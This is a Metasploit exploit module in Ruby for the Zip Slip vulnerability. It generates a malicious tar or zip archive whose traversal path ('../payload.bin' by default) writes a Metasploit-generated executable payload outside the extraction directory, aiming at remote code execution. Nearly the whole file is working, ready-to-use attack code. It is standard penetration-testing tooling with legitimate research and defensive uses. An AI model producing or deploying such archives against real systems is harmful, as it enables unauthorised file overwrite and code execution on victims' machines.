##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Generic Zip Slip Traversal Vulnerability',
        'Description' => %q{
          This is a generic arbitrary file overwrite technique, which typically results in remote
          command execution. This targets a simple yet widespread vulnerability that has been
          seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
          The idea is that often archive extraction libraries have no mitigations against
          directory traversal attacks. If an application uses it, there is a risk when opening an
          archive that is maliciously modified, and result in the embedded payload to be written
          to an arbitrary location (such as a web root), and result in remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Snyk', # Technique discovery
            'sinn3r', # Metasploit
            'ggkitsas'
          ],
        'References' =>
          [
            ['URL', 'https://snyk.io/research/zip-slip-vulnerability']
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread',
            'DisablePayloadHandler' => true
          },
        'Platform' => ['linux', 'win', 'unix'],
        'Targets' =>
          [
            ['Manually determined', {}]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2018-06-05'
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'The name of the archive file', 'msf.tar']),
      OptEnum.new('FTYPE', [true, 'The archive type', 'tar', ['tar', 'zip'] ]),
      OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
    ])
  end

  class ZipSlipArchive
    attr_reader :data
    attr_reader :fname
    attr_reader :payload
    attr_reader :type

    def initialize(n, p, t)
      @fname = n
      @payload = p
      @type = t
      @data = make
    end

    def make
      data = ''
      path = Rex::FileUtils.normalize_unix_path(fname)

      if type == 'tar'
        contents = StringIO.new
        Rex::Tar::Writer.new(contents) do |t|
          t.add_file(path, 0o777) do |f|
            f.write(payload)
          end
        end
        contents.seek(0)
        data = contents.read
        contents.close
        data
      elsif type == 'zip'
        zip = Rex::Zip::Archive.new
        zip.add_file(path, payload)
        data = zip.pack
      end
    end
  end

  def make_archive(target_payload_path, type)
    elf = generate_payload_exe(code: payload.encoded)
    archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe, type)
    archive.make
  end

  def exploit
    target_payload_path = datastore['TARGETPAYLOADPATH']
    unless target_payload_path.match(%r{\.\./})
      print_error('Please set a traversal path')
      return
    end

    archive = make_archive(target_payload_path, datastore['FTYPE'])
    file_create(archive)
    print_status('When extracted, the payload is expected to extract to:')
    print_status(target_payload_path)
  end
end

# A quick test:
#
# $ python
# >>> import tarfile
# >>> t = tarfile.open('test.tar')
# >>> t.extractall()
# >>> exit()
#
